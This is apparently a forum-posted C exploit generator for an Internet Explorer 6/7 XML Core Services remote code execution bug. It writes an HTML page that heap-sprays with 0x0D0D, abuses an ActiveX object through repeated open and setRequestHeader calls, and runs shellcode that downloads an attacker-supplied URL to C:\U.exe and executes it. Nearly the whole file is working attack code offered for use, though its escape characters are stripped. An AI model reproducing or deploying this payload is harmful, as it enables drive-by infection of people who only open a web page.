#include <stdio.h>
#include <stdlib.h>
#include <string.h>
FILE *fp = NULL;
char *file = "MicroHack.htm";
char *url = NULL;
unsigned char sc[] =
"xEBx54x8Bx75x3Cx8Bx74x35x78x03xF5x56x8Bx76x20x03"
"xF5x33xC9x49x41xADx33xDBx36x0FxBEx14x28x38xF2x74"
"x08xC1xCBx0Dx03xDAx40xEBxEFx3BxDFx75xE7x5Ex8Bx5E"
"x24x03xDDx66x8Bx0Cx4Bx8Bx5Ex1Cx03xDDx8Bx04x8Bx03"
"xC5xC3x75x72x6Cx6Dx6Fx6Ex2Ex64x6Cx6Cx00x43x3Ax5C"
"x55x2ex65x78x65x00x33xC0x64x03x40x30x78x0Cx8Bx40"
"x0Cx8Bx70x1CxADx8Bx40x08xEBx09x8Bx40x34x8Dx40x7C"
"x8Bx40x3Cx95xBFx8Ex4Ex0ExECxE8x84xFFxFFxFFx83xEC"
"x04x83x2Cx24x3CxFFxD0x95x50xBFx36x1Ax2Fx70xE8x6F"
"xFFxFFxFFx8Bx54x24xFCx8Dx52xBAx33xDBx53x53x52xEB"
"x24x53xFFxD0x5DxBFx98xFEx8Ax0ExE8x53xFFxFFxFFx83"
"xECx04x83x2Cx24x62xFFxD0xBFx7ExD8xE2x73xE8x40xFF"
"xFFxFFx52xFFxD0xE8xD7xFFxFFxFF";
char * header =
"<html xmlns="http://www.w3.org/1999/xhtml">n"
"<body>n"
"<object id=target classid="CLSID:{88d969c5-f192-11d4-a65f-0040963251e5}" >n"
"</object>n"
"<script>n"
"var obj = null;n"
"function exploit() {n"
"obj = document.getElementById('target').object;n"
"try {n"
"obj.open(new Array(),new Array(),new Array(),new Array(),new Array());n"
"} catch(e) {};n"
"sh = unescape ("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +n"
" ";
char * footer =
"n"
"sz = sh.length * 2;n"
"npsz = 0x400000-(sz+0x38);n"
"nps = unescape ("%u0D0D%u0D0D");n"
"while (nps.length*2<npsz) nps+=nps;n"
"ihbc = (0x12000000-0x400000)/0x400000;n"
"mm = new Array();n"
"for (i=0;i<ihbc;i++) mm = nps+sh;n"
"n"
"obj.open(new Object(),new Object(),new Object(),new Object(), new Object());n"
"n"
"obj.setRequestHeader(new Object(),'......');n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"obj.setRequestHeader(new Object(),0x12345678);n"
"}n"
"</script>n"
"<body onLoad='exploit()' value='Exploit'>n"
"n"
"</body></html>n"
"n";
// print unicode shellcode
void PrintPayLoad(char *lpBuff, int buffsize)
{
int i;
for(i=0;i<buffsize;i+=2)
{
if((i%16)==0)
{
if(i!=0)
{
printf(""n"");
fprintf(fp, "%s", "" +n"");
}
else
{
printf(""");
fprintf(fp, "%s", """);
}
}
printf("%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
fprintf(fp, "%%u%0.4x",((unsigned short*)lpBuff)[i/2]);
}
printf("";n");
fprintf(fp, "%s", "");n");
fflush(fp);
}
void main(int argc, char **argv)
{
unsigned char buf[1024] = {0};
int sc_len = 0;
if (argc < 2)
{
printf("MS Internet Explorer 6/7 (XML Core Services) Remote Code Execution Exploit (0day)n");
printf("Code modded from LukeHackn");
printf("rnUsage: %s <URL> [Local htmlfile]rnn", argv[0]);
exit(1);
}
url = argv[1];
if( (!strstr(url, "http://") && !strstr(url, "ftp://")) || strlen(url) < 10)
{
printf("[-] Invalid url. Must start with 'http://','ftp://'n");
return;
}
printf("[+] download url:%sn", url);
if(argc >=3) file = argv[2];
printf("[+] exploit file:%sn", file);
fp = fopen(file, "w");
if(!fp)
{
printf("[-] Open file error!n");
return;
}
fprintf(fp, "%s", header);
fflush(fp);
memset(buf, 0, sizeof(buf));
sc_len = sizeof(sc)-1;
memcpy(buf, sc, sc_len);
memcpy(buf+sc_len, url, strlen(url));
sc_len += strlen(url)+1;
PrintPayLoad(buf, sc_len);
fprintf(fp, "%s", footer);
fflush(fp);
printf("[+] exploit write to %s success!n", file);
}[/b]
